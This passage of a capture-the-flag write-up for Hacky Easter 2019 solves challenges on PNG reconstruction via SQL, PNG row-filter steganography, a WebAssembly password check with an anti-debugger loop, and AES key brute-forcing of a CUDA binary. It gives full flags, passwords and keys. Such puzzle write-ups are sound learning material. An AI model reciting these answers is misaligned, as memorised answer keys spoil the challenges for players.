| AD9A9A93161E4CDA9DFF9C1255D0C0B9 |   5 | png.idat | 11                                   |
| 4475CA57E03F4BAA9BA447A3B6D545D7 |   6 | png.idat | 11                                   |
| 7155A2502B6243CB8D14BB67D13649A8 |   7 | png.idat | 11                                   |
| C8D0E9EC265245B6B0317614B67510C3 |   8 | png.idat | 11                                   |
| 3A0F84381D4745C99C9CCEEEF329E23B |   9 | png.idat | 11                                   |
| 32591487AB014FE29D1147A14678F34C |  10 | png.idat | 11                                   |
| A467DFCACB8F45ADA64892470ABB9BED |  11 | png.idat | 3                                    |
| D64DE520DFB443098866142539048516 |  12 | png.iend | AAAAAElFTkSuQmCC                     |
+----------------------------------+-----+----------+--------------------------------------+
13 rows in set (0.114 sec)

In the above query we already stored the result by ord, which defines the sequence of the single child chunks.

Most of the chunks actually contain base64 encoded data, but the png.idat chunks only contain a number. This suggests that there are also nested. We can find the corresponding child elements by using the id of the corresponding png.idat again:
MariaDB [EveryThing]> SELECT HEX(id), ord, type, value FROM Thing WHERE HEX(pid)='AD9A9A93161E4CDA9DFF9C1255D0C0B9' ORDER BY ord;
+----------------------------------+-----+----------+---------------------------------------... +
| HEX(id)                          | ord | type     | value                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+----------------------------------+-----+----------+---------------------------------------... +
| 35A333B3EA0242D7A316CF2387F5A1B2 |   0 | png.idat | AAAgAElEQVR42uydeXykRZ3/3/V0d7pzTjKZzE... |
| CA2FF632076D4FAD9FE020031CEFE701 |   1 | png.idat | iW9B/rSno/vlujdqaALW0DgFsLE3/GkhxD8CgX... |
| 3F2B4364061E473581D054824AD18653 |   2 | png.idat | jq5VenRoaALW0CiP6n25Bd8AZpVaVkvTHL7R+t... |
| 3DE98E5C77BE4F2FA437CD6C9047E96E |   3 | png.idat | V5+zy7z3CeWyU9/JN5e8kyXzFpXSBVd39kWe1i... |


These png.idat entries actually contain data.

In order to reconstruct the images, we first create a MySQL function, which retrieves the binary data of a chunk by base64 decoding the value field and retrieving all child elements for a png.idat chunk:
MariaDB [EveryThing]> DELIMITER $$
MariaDB [EveryThing]> CREATE FUNCTION GetData(hexid varchar(255)) RETURNS BLOB
    ->   BEGIN
    ->   DECLARE t varchar(255);
    ->   DECLARE b BLOB;
    ->   SELECT type into t FROM Thing WHERE HEX(id) = hexid;
    ->   IF t = 'png.idat' THEN
    ->     SELECT GROUP_CONCAT(FROM_BASE64(value) ORDER BY ord SEPARATOR '') INTO b FROM Thing WHERE HEX(pid)=hexid;
    ->   ELSE SELECT FROM_BASE64(value) INTO b FROM Thing WHERE HEX(id) = hexid;
    ->   END IF;
    ->   RETURN b;
    ->   END$$
Query OK, 0 rows affected (0.001 sec)

MariaDB [EveryThing]> DELIMITER ;

Notice that for a png.idat chunk we need to retrieve the data from all child chunks and for every other chunk we can simple base64 decode the value field.

Now we can use this function in order to dump all png images:
MariaDB [EveryThing]> SELECT GROUP_CONCAT(GetData(HEX(id)) ORDER BY ord SEPARATOR '') FROM Thing WHERE HEX(pid)='1BD4209D9C664967AA7944E2ED2FC96C' INTO DUMPFILE '/tmp/1.png';
Query OK, 1 row affected (2.042 sec)

MariaDB [EveryThing]> SELECT GROUP_CONCAT(GetData(HEX(id)) ORDER BY ord SEPARATOR '') FROM Thing WHERE HEX(pid)='35FD7ABC15274E38A513F990D153FC37' INTO DUMPFILE '/tmp/2.png';
Query OK, 1 row affected (1.788 sec)

MariaDB [EveryThing]> SELECT GROUP_CONCAT(GetData(HEX(id)) ORDER BY ord SEPARATOR '') FROM Thing WHERE HEX(pid)='42097903161D41839D5D189B93E580D7' INTO DUMPFILE '/tmp/3.png';
Query OK, 1 row affected (1.811 sec)

...

After a few false eggs …



… we find the actual egg:



The flag is he19-qKaG-VHmv-Mm26-0mwy.

17 – New Egg Design

The provided image displays an egg with a circuit diagram of an electronic high-pass filter:



Also, the challenge description states that this challenge is about filters. As this are not enough filters yet, the image of challenge displays a QR code, which was made illegible by applying a mosaic filter:



After the challenge was not solved by anyone on the 18th of april, a hint was added:



My slight assumption was, that the challenge probably has to do something with filters. Though, I was really in the dark on this. I mainly focused on trying to find some information hidden within the RGBA values without any success.

When analyzing the png structure of the image, I compared the output of pngcheck on the image …
root@kali:~/Documents/he19/egg17# pngcheck -v eggdesign.png
File: eggdesign.png (62643 bytes)
  chunk IHDR at offset 0x0000c, length 13
    480 x 480 image, 32-bit RGB+alpha, non-interlaced
  chunk gAMA at offset 0x00025, length 4: 0.45455
  chunk cHRM at offset 0x00035, length 32
    White x = 0.3127 y = 0.329,  Red x = 0.64 y = 0.33
    Green x = 0.3 y = 0.6,  Blue x = 0.15 y = 0.06
  chunk pHYs at offset 0x00061, length 9: 13410x13410 pixels/meter (341 dpi)
  chunk tIME at offset 0x00076, length 7:  6 Jan 2019 09:27:56 UTC
  chunk tEXt at offset 0x00089, length 24, keyword: Software
  chunk IDAT at offset 0x000ad, length 8192
    zlib: deflated, 32K window, default compression
  chunk IDAT at offset 0x020b9, length 8192
  chunk IDAT at offset 0x040c5, length 8192
  chunk IDAT at offset 0x060d1, length 8192
  chunk IDAT at offset 0x080dd, length 8192
  chunk IDAT at offset 0x0a0e9, length 8192
  chunk IDAT at offset 0x0c0f5, length 8192
  chunk IDAT at offset 0x0e101, length 5022
  chunk IEND at offset 0x0f4ab, length 0
No errors detected in eggdesign.png (15 chunks, 93.2% compression).


… with another egg (in this case from challenge 11):
root@kali:~/Documents/he19/egg17# pngcheck -v ../egg11/2b8c672e9759bd56ab1702dcee0e109182374b8c.png
File: ../egg11/2b8c672e9759bd56ab1702dcee0e109182374b8c.png (66058 bytes)
  chunk IHDR at offset 0x0000c, length 13
    480 x 480 image, 32-bit RGB+alpha, non-interlaced
  chunk gAMA at offset 0x00025, length 4: 0.45455
  chunk cHRM at offset 0x00035, length 32
    White x = 0.3127 y = 0.329,  Red x = 0.64 y = 0.33
    Green x = 0.3 y = 0.6,  Blue x = 0.15 y = 0.06
  chunk bKGD at offset 0x00061, length 6
    red = 0x00ff, green = 0x00ff, blue = 0x00ff
  chunk pHYs at offset 0x00073, length 9: 13411x13411 pixels/meter (341 dpi)
  chunk tIME at offset 0x00088, length 7: 12 Jan 2019 05:50:49 UTC
  chunk IDAT at offset 0x0009b, length 32768
    zlib: deflated, 32K window, maximum compression
  chunk IDAT at offset 0x080a7, length 32768
  chunk IDAT at offset 0x100b3, length 189
  chunk tEXt at offset 0x1017c, length 37, keyword: date:create
  chunk tEXt at offset 0x101ad, length 37, keyword: date:modify
  chunk tEXt at offset 0x101de, length 24, keyword: Software
  chunk IEND at offset 0x10202, length 0
No errors detected in ../egg11/2b8c672e9759bd56ab1702dcee0e109182374b8c.png (13 chunks, 92.8% compression).

I noticed that the structure differs and the image of this challenge especially has more IDAT chunks. Though, I could not make any use of this information until I got a hint that the version of pngcheck from the default repository lacks some information in the output. Thus I downloaded pngcheck from here. In order to compile it, we have to add the path to the shared library libz.a in the makefile:

root@kali:~/Downloads/pngcheck-2.3.0# locate libz.a
/usr/lib/x86_64-linux-gnu/libz.a
root@kali:~/Downloads/pngcheck-2.3.0# cat Makefile.unx
...

# macros --------------------------------------------------------------------

ZPATH = /usr/lib/x86_64-linux-gnu/ # ADJUSTED THIS LINE
ZINC = -I$(ZPATH)
...

Now we can compile the program:
root@kali:~/Downloads/pngcheck-2.3.0# make -f Makefile.unx
gcc -O -Wall -I/usr/lib/x86_64-linux-gnu/ -DUSE_ZLIB -o pngcheck pngcheck.c /usr/lib/x86_64-linux-gnu//libz.a
...


This version offers not only verbosely output (-v), but also very verbosely output (-vv):
root@kali:~/Downloads/pngcheck-2.3.0# ./pngcheck
PNGcheck, version 2.3.0 of 7 July 2007,
   by Alexander Lehmann, Andreas Dilger and Greg Roelofs.
   Compiled with zlib 1.2.11; using zlib 1.2.11.

Test PNG, JNG or MNG image files for corruption, and print size/type info.

Usage:  pngcheck [-7cfpqtv] file.{png|jng|mng} [file2.{png|jng|mng} [...]]
   or:  ... | pngcheck [-7cfpqstvx]
   or:  pngcheck [-7cfpqstvx] file-containing-PNGs...

Options:
   -7  print contents of tEXt chunks, escape chars >=128 (for 7-bit terminals)
   -c  colorize output (for ANSI terminals)
   -f  force continuation even after major errors
   -p  print contents of PLTE, tRNS, hIST, sPLT and PPLT (can be used with -q)
   -q  test quietly (output only errors)
   -s  search for PNGs within another file
   -t  print contents of tEXt chunks (can be used with -q)
   -v  test verbosely (print most chunk data)
   -vv test very verbosely (decode & print line filters)
   -w  suppress windowBits test (more-stringent compression check)
   -x  search for PNGs within another file and extract them when found

Note:  MNG support is more informational than conformance-oriented.

Applying this on the provided image removed the scales from my eyes:
root@kali:~/Downloads/pngcheck-2.3.0# ./pngcheck -vv ~/Documents/he19/egg17/eggdesign.png
File: /root/Documents/he19/egg17/eggdesign.png (62643 bytes)
  chunk IHDR at offset 0x0000c, length 13
    480 x 480 image, 32-bit RGB+alpha, non-interlaced
  chunk gAMA at offset 0x00025, length 4: 0.45455
  chunk cHRM at offset 0x00035, length 32
    White x = 0.3127 y = 0.329,  Red x = 0.64 y = 0.33
    Green x = 0.3 y = 0.6,  Blue x = 0.15 y = 0.06
  chunk pHYs at offset 0x00061, length 9: 13410x13410 pixels/meter (341 dpi)
  chunk tIME at offset 0x00076, length 7:  6 Jan 2019 09:27:56 UTC
  chunk tEXt at offset 0x00089, length 24, keyword: Software
  chunk IDAT at offset 0x000ad, length 8192
    zlib: deflated, 32K window, default compression
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 1 0 0 0 0 1 1 0 1 1 0 1 1 1 1 0 1 1 0 1 1 1 0 0
      1 1 0 0 1 1 1 0 1 1 1 0 0 1 0 0 1 1 0 0 0 0 1 0 1
      1 1 0 1 0 0 0 1 1 1 0 1 0 1 0 1 1 0 1 1 0 0 0 1 1
      0 0 0 0 1 0 1 1 1 (84 out of 480)
  chunk IDAT at offset 0x020b9, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 1 0 0 0 1 1 0 1 0 0 1 0 1 1 0 1 1 1 1 0 1 1 0 1
      1 1 0 0 0 1 0 1 1 0 0 0 0 1 0 0 0 0 0 0 1 1 0 1 0
      0 0 (136 out of 480)
  chunk IDAT at offset 0x040c5, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 1 1 0 0 1 0 1 0 1 1 1 0 0 1 0 0 1 1 0 0 1 0 1 0
      0 1 0 0 0 0 0 0 1 1 0 1 0 0 1 0 1 1 1 0 0 (182 out of 480)
  chunk IDAT at offset 0x060d1, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      1 1 0 0 1 0 0 0 0 0 0 1 1 1 1 0 0 1 0 1 1 0 1 1 1
      1 0 1 1 1 0 1 0 1 0 1 1 1 0 0 1 0 0 0 1 0 0 0 0 0
      0 1 1 0 0 1 1 0 0 (241 out of 480)
  chunk IDAT at offset 0x080dd, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      1 1 0 1 1 0 0 0 1 1 0 0 0 0 1 0 1 1 0 0 1 1 1 0 0
      1 1 1 0 1 0 0 0 1 0 0 0 0 0 0 1 1 0 1 0 0 0 0 1 1
      0 (292 out of 480)
  chunk IDAT at offset 0x0a0e9, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 1 0 1 0 0 1 1 0 0 0 1 0 0 1 1 1 0 0 1 0 0 1 0 1
      1 0 1 0 1 0 1 0 1 0 0 0 1 0 0 1 0 1 1 0 1 1 0 1 0
      0 1 0 1 1 0 1 0 0 1 0 0 1 0 1 1 0 1 0 0 1 1 (364 out of 480)
  chunk IDAT at offset 0x0c0f5, length 8192
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 0 1 0 0 1 1 0 0 0 0 1 0 1 0 1 0 1 1 0 0 1 1 0 0
      0 0 1 0 0 1 0 1 1 0 1 0 1 1 0 0 0 1 1 0 1 0 0 1 0
      1 1 0 1 0 0 1 0 1 0 (424 out of 480)
  chunk IDAT at offset 0x0e101, length 5022
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 1 1 0 1 1 1 1 0 0 1 0 1 1 0 1 0 0 1 1 1 0 0 1 0
      1 0 1 0 0 0 1 0 1 0 0 0 0 1 1 0 1 1 0 1 0 1 0 0 0
      0 0 0 0 0 0 (480 out of 480)
  chunk IEND at offset 0x0f4ab, length 0
No errors detected in /root/Documents/he19/egg17/eggdesign.png (15 chunks, 93.2% compression).

Filters! Finally! The only thing left to do is to convert the bit stream to ASCII:
root@kali:~/Documents/he19/egg17# python
Python 2.7.15+ (default, Feb  3 2019, 13:13:16)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> bitstream = int('010000110110111101101110011001110111001001100001011101000111010101101...', 2)
>>> binascii.unhexlify('%x' % bitstream)
'Congratulation, here is your flag: he19-TKii-2aVa-cKJo-9QCj\x00'


The flag is he19-TKii-2aVa-cKJo-9QCj.

18 – Egg Storage

The challenge description provides a link to the following website:



The input field requires exactly 24 characters to be entered. When entering some garbage, a broken egg is displayed:



By viewing the source code we can see that the javascript is using WebAssembly:
...

function compileAndRun() {
    WebAssembly.instantiate(content, {
        base: {
            functions: nope
        }
    }).then(module => callWasm(module.instance));
}

compileAndRun();


The javascript source code also contains a loop, which executes the debugger statement 100-times:
function nope() {
    for (let i = 0; i < 100; i++) {
        debugger;
    }

    return 1337;
}


This statement stops the execution, if the debugger is turned on. This means that we would have to click 100 times to get past this loop, when we want to debug the code after the loop. In order to bypass this, we can simply download the whole page and comment out the loop:
function nope() {
    /*for (let i = 0; i < 100; i++) {
        debugger;
    }*/

    return 1337;
}


If we open the debugger in our browser (e.g. Chrome) and click on Validate now, we can see that there are three WebAssembly functions: wasm-d986c06a-1, wasm-d986c06a-2 and wasm-d986c06a-3:



We can now set a breakpoint within the WebAssembly code and single step through the code:



Stepping through the code and inspecting the effect of each instruction helps to better understand what the code does.

Basically WebAssembly is quite easy to read. The stack plays a very important role since operations are not carried out in registers but on the stack. If we want to add two values, we push both of them on the stack and call the add instruction. This instructions pops both values from the stack and pushes the result onto it. This is how each instructions is working.

Keeping this into mind, we can reverse the WebAssembly into the following pseudo code:
// input = 24 characters

int validatePassword(input) {

  for (i = 4; i < 24; i++) {
    if (input[i] not in ['0','1','3','4','5','H','L','X','c','d','f','r']) return 0;
  }

  if (input[0] != 'T') return 0;
  if (input[1] != 'h') return 0;
  if (input[2] != '3') return 0;
  if (input[3] != 'P') return 0;

  if (input[23] != input[17]) return 0;
  if (input[12] != input[16]) return 0;
  if (input[22] != input[15]) return 0;

  if ((input[5] - input[7]) != 14) return 0;
  if ((input[14]+1) != input[15]) return 0;
  if ((input[9]%input[8]) != 40) return 0;
  if ((input[5]-input[9]+input[19]) != 79) return 0;
  if ((input[7]-input[14]) != input[20]) return 0;
  if ((input[9]%input[4])*2 != input[13]) return 0;
  if ((input[13]%input[6]) != 20) return 0;
  if ((input[11]%input[13]) != (input[21]-46)) return 0;
  if ((input[7]%input[6]) != input[10]) return 0;
  if ((input[23]%input[22]) != 2) return 0;

  x = 0;
  y = 0;
  for (i = 4; i < 24; i++) {
    x += input[i];
    y ^= input[i];
  }

  if (x != 1352) return 0;
  if (y != 44) return 0;

  return 1;
}


As it turned out, there are several checks made on each of the character from the given input. Obviously the password is supposed to start with Th3P. All following characters are supposed to be one of the following: 0, 1, 3, 4, 5, H, L, X, c, d, f, r. This greatly reduces the possible password space. Though, the other requirements are not so easy to grasp. In order to find the valid password, we can write a python script, which bruteforces it:
#!/usr/bin/env python

alpha = '01345HLXcdfr'
pwd   = 'Th3P'

for c4 in '01345HLXcdfr':
  for c5 in alpha:
    for c6 in alpha:
      for c7 in alpha:
        if (ord(c5) - ord(c7) != 14): continue
        for c8 in alpha:
          for c9 in alpha:
            if (ord(c9)%ord(c8) != 40): continue
            for c10 in alpha:
              if (ord(c7)%ord(c6) != ord(c10)): continue
              for c11 in alpha:
                for c12 in alpha:
                  for c13 in alpha:
                    if (ord(c13)%ord(c6) != 20): continue
                    if ((ord(c9)%ord(c4))*2 != ord(c13)): continue
                    for c14 in alpha:
                      for c15 in alpha:
                        if ((ord(c14)+1) != ord(c15)): continue
                        c16 = c12
                        for c17 in alpha:
                          for c18 in alpha:
                            for c19 in alpha:
                              if (ord(c5)-ord(c9)+ord(c19) != 79): continue
                              for c20 in alpha:
                                if (ord(c7)-ord(c14) != ord(c20)): continue
                                for c21 in alpha:
                                  if (ord(c11)%ord(c13) != ord(c21)-46): continue
                                  c22 = c15
                                  c23 = c17
                                  if (ord(c23)%ord(c22) != 2): continue
                                  x = 0
                                  y = 0
                                  p = pwd+c4+c5+c6+c7+c8+c9+c10+c11+c12+c13+c14+c15+c16+c17+c18+c19+c20+c21+c22+c23
                                  for i in range(4, 24):
                                    x += ord(p[i])
                                    y ^= ord(p[i])
                                  if (x != 1352): continue
                                  if (y != 44): continue
                                  print(p)


Running the script almost instantly outputs the password:
root@kali:~/Documents/he19/egg18# ./bruteforce.py
Th3P4r4d0X0fcH01c3154L13


Entering the password Th3P4r4d0X0fcH01c3154L13 into the input field yields the egg:



The flag is he19-DJXj-nL5q-BrfK-7z1x.

19 – CoUmpact DiAsc

The challenge provides a binary called coumpactdiasc. In order to run this binary probably, Nvidia CUDA is required.

After having setup CUDA, we can run the program, which prompts for a password:
user@h0st:~/Documents/he19/egg19$ ./coumpactdiasc
Enter Password: test

The program created a file called egg:
user@h0st:~/Documents/he19/egg19$ file egg
egg: data

Which seems to be garbage:
user@h0st:~/Documents/he19/egg19$ hexdump -C egg | head
00000000  0a 14 d4 ab 8a 26 5f df  eb b7 56 f1 ee 9c 75 7c  |.....&_...V...u||
00000010  c6 be 8a 20 8b 9b 5f a4  4e ef bf 11 6d c3 60 ee  |... .._.N...m.`.|
00000020  8e 59 bc bb f4 b0 7a d6  7b 04 6b 08 38 32 46 2f  |.Y....z.{.k.82F/|
00000030  11 ad af 94 3e 21 f9 01  69 82 09 0b 1d 0e ed 41  |....>!..i......A|
00000040  f0 86 60 1b 04 2c 60 59  8e 05 b5 d1 ca 2c 40 f3  |..`..,`Y.....,@.|
00000050  0f 68 b0 c7 2f 29 39 38  6d 20 07 38 56 9b 72 74  |.h../)98m .8V.rt|
00000060  3d c1 19 63 43 2a 26 da  84 be d3 16 01 74 df 66  |=..cC*&......t.f|
00000070  fd 5a b2 80 48 10 12 0d  ab 53 43 df 05 bb e8 a7  |.Z..H....SC.....|
00000080  f9 1d a9 32 60 f6 8d 07  68 c1 f0 dc 2e 02 51 aa  |...2`...h.....Q.|
00000090  fe e8 82 df 07 9c 7b 3f  82 6e 2a 31 c9 1f b1 be  |......{?.n*1....|

The description of the challenge also contains a hint for the password (we will get back to this later):



I started by analyzing the binary in ghidra:



This part of program does not very much. It simple reads up to 0x11 bytes a password from stdin, initializes a few CUDA buffers and run three different CUDA function (f13, f3 and f12). At last one of the CUDA buffers is written to the file egg.

In order to determine, what these CUDA functions does, I disassembled them using cuobjdump:
user@h0st:~/Documents/he19/egg19$ /usr/local/cuda-10.1/bin/cuobjdump coumpactdiasc -sass

Fatbin elf code:
================
arch = sm_30
code version = [1,7]
producer = <unknown>
host = linux
compile_size = 64bit

	code for sm_30

Fatbin elf code:
================
arch = sm_30
code version = [1,7]
producer = cuda
host = linux
compile_size = 64bit

	code for sm_30
		Function : _Z3f13PhS_PjS_i
	.headerflags    @"EF_CUDA_SM30 EF_CUDA_PTX_SM(EF_CUDA_SM30)"
                                                                     /* 0x22f2c28232423307 */
        /*0008*/                   MOV R1, c[0x0][0x44];             /* 0x2800400110005de4 */
        /*0010*/                   S2R R0, SR_CTAID.X;               /* 0x2c00000094001c04 */
        /*0018*/                   S2R R2, SR_TID.X;                 /* 0x2c00000084009c04 */
        /*0020*/                   IMUL R0, R0, c[0x0][0x28];        /* 0x50004000a0001ca3 */
        /*0028*/                   IADD R3, -R2, RZ;                 /* 0x48000000fc20de03 */
        /*0030*/                   ISETP.NE.AND P0, PT, R0, R3, PT;  /* 0x1a8e00000c01dc23 */
        /*0038*/               @P0 EXIT;                             /* 0x80000000000001e7 */
                                                                     /* 0x2232304230428047 */
        /*0048*/                   MOV R2, c[0x0][0x150];            /* 0x2800400540009de4 */
        /*0050*/                   MOV R3, c[0x0][0x154];            /* 0x280040055000dde4 */
        /*0058*/                   LD.E R0, [R2];                    /* 0x8400000000201c85 */
        /*0060*/                   MOV R16, c[0x0][0x158];           /* 0x2800400560041de4 */
        /*0068*/                   LD.E R5, [R2+0x4];                /* 0x8400000010215c85 */
        /*0070*/                   MOV R17, c[0x0][0x15c];           /* 0x2800400570045de4 */
        /*0078*/                   LD.E R6, [R2+0x8];                /* 0x8400000020219c85 */
                                                                     /* 0x2232323232323047 */
        /*0088*/                   LD.E R7, [R2+0xc];                /* 0x840000003021dc85 */
        /*0090*/                   MOV R15, c[0x0][0x14c];           /* 0x280040053003dde4 */
        /*0098*/                   LD.E R10, [R2+0x18];              /* 0x8400000060229c85 */
        /*00a0*/                   LD.E R11, [R2+0x1c];              /* 0x840000007022dc85 */
        /*00a8*/                   LD.E R12, [R2+0x20];              /* 0x8400000080231c85 */
        /*00b0*/                   LD.E R13, [R2+0x24];              /* 0x8400000090235c85 */
        /*00b8*/                   LD.E R8, [R2+0x10];               /* 0x8400000040221c85 */
                                                                     /* 0x22b04230427043f7 */
        /*00c8*/                   LD.E R9, [R2+0x14];               /* 0x8400000050225c85 */
        /*00d0*/                   LOP32I.XOR R4, R0, 0xdeadbeef;    /* 0x3b7ab6fbbc011c82 */
        /*00d8*/                   MOV32I R0, 0xffffff00;            /* 0x1bfffffc00001de2 */
        /*00e0*/                   LOP32I.XOR R5, R5, 0xdeadbeef;    /* 0x3b7ab6fbbc515c82 */
        /*00e8*/                   LOP32I.XOR R6, R6, 0xdeadbeef;    /* 0x3b7ab6fbbc619c82 */
        /*00f0*/                   ST.E [R2], R4;                    /* 0x9400000000211c85 */
        /*00f8*/                   LOP32I.XOR R7, R7, 0xdeadbeef;    /* 0x3b7ab6fbbc71dc82 */
                                                                     /* 0x2272304230423047 */
        /*0108*/                   LOP32I.XOR R11, R11, 0xdeadbeef;  /* 0x3b7ab6fbbcb2dc82 */
        /*0110*/                   LOP32I.XOR R12, R12, 0xdeadbeef;  /* 0x3b7ab6fbbcc31c82 */
        /*0118*/                   LOP32I.XOR R4, R10, 0xdeadbeef;   /* 0x3b7ab6fbbca11c82 */
        /*0120*/                   LOP32I.XOR R13, R13, 0xdeadbeef;  /* 0x3b7ab6fbbcd35c82 */
        /*0128*/                   ST.E [R2+0x4], R5;                /* 0x9400000010215c85 */
        /*0130*/                   LOP32I.XOR R14, R8, 0xdeadbeef;   /* 0x3b7ab6fbbc839c82 */
        /*0138*/                   LOP32I.XOR R9, R9, 0xdeadbeef;    /* 0x3b7ab6fbbc925c82 */
...

What followed were a lot of assembly. Nevertheless I started to reverse every function step by step. Though suddenly, I recognized a few similarities to the AES WhiteBox from egg14. Could this possibly be AES?

The string which seems to be decrypted and is written to the file egg is called v10:
[0x00403760]> pc @ obj.v10
#define _BUFFER_SIZE 256
const uint8_t buffer[256] = {
  0x71, 0x31, 0xad, 0x54, 0xef, 0x04, 0xdb, 0xa5, 0x03, 0x30,
  0x0c, 0x0f, 0xf7, 0xbd, 0x83, 0x8e, 0xb1, 0xcd, 0x89, 0xc5,
  0x6f, 0x8a, 0x0e, 0x6b, 0xb3, 0x18, 0xc1, 0xd5, 0xc6, 0x5c,
  0x44, 0x1a, 0xa2, 0x80, 0xb7, 0xc1, 0xe1, 0x9a, 0x6f, 0xba,
  0x4f, 0x11, 0x03, 0xb8, 0x1e, 0xbc, 0x8d, 0xe3, 0xf2, 0x99,
...

So let’s try to decrypt this string with AES and an arbitrary key we choose:
root@kali:~/Documents/he19/egg19# python
Python 2.7.15+ (default, Feb  3 2019, 13:13:16)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Cipher import AES
>>> key = 'testtesttesttest'
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> v10 = '\x71\x31\xad\x54\xef\x04\xdb\xa5\x03\x30\x0c\x0f\xf7\xbd\x83\x8e'
>>> cipher.decrypt(v10).encode('hex')
'24d2b45ee0fa357d13508450b634e5d5'

And now let’s use the same key for the program:
user@h0st:~/Documents/he19/egg19$ ./coumpactdiasc
Enter Password: testtesttesttest

And compare the result stored in the file egg:
user@h0st:~/Documents/he19/egg19$ hexdump -C egg | head -n 1
00000000  24 d2 b4 5e e0 fa 35 7d  13 50 84 50 b6 34 e5 d5  |$..^..5}.P.P.4..|

The output is the same. The program simply implements an AES encryption using the given key. This means, that we can use any AES featuring tool in order to find the valid key.

On the password hint image we can see that the last letters of the password are THCUDA. Taking into account english words, which end with the letters TH, it seems probable that the password ends with WITHCUDA.

Since the key should be 16 byte, there are 8 bytes left to bruteforce: xxxxxxxxWITHCUDA.

Also we can assume that the resulting file called egg should probably be an PNG image. This makes the first 16 bytes of the plain text: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52.

Taking all this into account we can use this very good AES bruteforcing tool: aes-brute-force.

We have to provide:
  • a key mask (we only want to bruteforce the first 8 bytes: FFFFFFFF_FFFFFFFF_00000000_00000000)
  • the parts of the key we know (...WITHCUDA: 00000000_00000000_57495448_43554441)
  • the plain text we expect (89504E47_0D0A1A0A_0000000D_49484452)
  • the cipher text to be used (7131AD54_EF04DBA5_03300C0F_F7BD838E)
  • the charset for the key (since the key until know only contains uppercase letters: 65 - 90)

user@h0st:/opt/aes-brute-force$ ./aes-brute-force FFFFFFFF_FFFFFFFF_00000000_00000000 00000000_00000000_57495448_43554441 89504E47_0D0A1A0A_0000000D_49484452 7131AD54_EF04DBA5_03300C0F_F7BD838E 65 90
INFO: 12 concurrent threads supported in hardware.

Search parameters:
	n_threads:    12
	key_mask:     FFFFFFFF_FFFFFFFF_00000000_00000000
	key_in:       00000000_00000000_57495448_43554441
	plain:        89504E47_0D0A1A0A_0000000D_49484452
	cipher:       7131AD54_EF04DBA5_03300C0F_F7BD838E
	byte_min:     0x41
	byte_max:     0x5A

	jobs_key_mask:00FFFFFF_FFFFFFFF_00000000_00000000

Launching 64 bits search

Thread 0 claims to have found the key
	key found:    41455343_5241434B_57495448_43554441

Performances:
	91463133065 AES128 operations done in 942.856s
	10ns per AES128 operation
	97.01 million keys per second

The tool successfully bruteforced the key: 41455343_5241434B_57495448_43554441. Converting this to ASCII:
>>> '41455343_5241434B_57495448_43554441'.replace('_','').decode('hex')
'AESCRACKWITHCUDA'

… reveals, that the key is AESCRACKWITHCUDA:
user@h0st:~/Documents/he19/egg19$ ./coumpactdiasc
Enter Password: AESCRACKWITHCUDA

user@h0st:~/Documents/he19/egg19$ file egg
egg: PNG image data, 480 x 480, 8-bit/color RGBA, non-interlaced



The flag is he19-NUSm-dv5t-thFy-XVMV.

20 – Scrambled Egg

The challenge provides the following image:



Obviously we have to unscramble the image in order to restore the egg. The challenge here was rather to find out what needs to be done than how this can be done.

The first thing, which felt a little bit odd, is the solution of the image:
root@kali:~/Documents/he19/egg20# exiftool egg.png
ExifTool Version Number         : 11.16
File Name                       : egg.png
Directory                       : .
File Size                       : 60 kB
File Modification Date/Time     : 2019:01:14 02:00:04-05:00
File Access Date/Time           : 2019:06:03 04:18:22-04:00
File Inode Change Date/Time     : 2019:06:03 04:18:22-04:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 259
Image Height                    : 256
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 259x256
Megapixels                      : 0.066

The solution is 259x256. Lately this will make sense.

I started by writing a python script, which prints out all pixel values line by line:
from PIL import Image

img = Image.open('egg.png')
pix = img.load()

for h in range(img.size[1]):
  for w in range(img.size[0]):
    p = pix[w,h]
    print(p)


Browsing through the output in each line of the image three odd pixels can be recognized:
root@kali:~/Documents/he19/egg20# ./inspect.py
(1, 1, 207, 255)
(1, 1, 207, 255)
(1, 1, 207, 255)
(1, 1, 205, 255)
(1, 1, 205, 255)
(1, 1, 205, 255)
(1, 1, 205, 255)
(1, 1, 205, 255)
(1, 1, 205, 255)
(1, 1, 203, 255)
(1, 1, 203, 255)
(1, 1, 203, 255)
(1, 1, 203, 255)
(0, 23, 0, 0)
(1, 1, 201, 255)
(1, 1, 201, 255)
(1, 1, 201, 255)
(1, 1, 201, 255)
(1, 1, 201, 255)
(1, 1, 199, 255)
(1, 1, 199, 255)
(1, 1, 199, 255)
(1, 1, 199, 255)
(23, 0, 0, 0)
(1, 1, 199, 255)
(1, 1, 199, 255)
(1, 1, 199, 255)
...
(233, 197, 1, 255)
(233, 197, 1, 255)
(233, 197, 1, 255)
(233, 197, 1, 255)
(233, 195, 1, 255)
(233, 195, 1, 255)
(0, 0, 23, 0)
...

Each line of the image contains three pixels, which alpha value is 0. Only one other value (R, G or B) is set. The others are also 0. The one value, which is not zero, seems to be a predefined value per line of the image:
root@kali:~/Documents/he19/egg20# ./inspect.py | grep '0)'
(0, 23, 0, 0)
(23, 0, 0, 0)
(0, 0, 23, 0)
(0, 214, 0, 0)
(214, 0, 0, 0)
(0, 0, 214, 0)
(0, 0, 175, 0)
(0, 175, 0, 0)
(175, 0, 0, 0)
(223, 0, 0, 0)
(0, 223, 0, 0)
(0, 0, 223, 0)
(0, 53, 0, 0)
(53, 0, 0, 0)
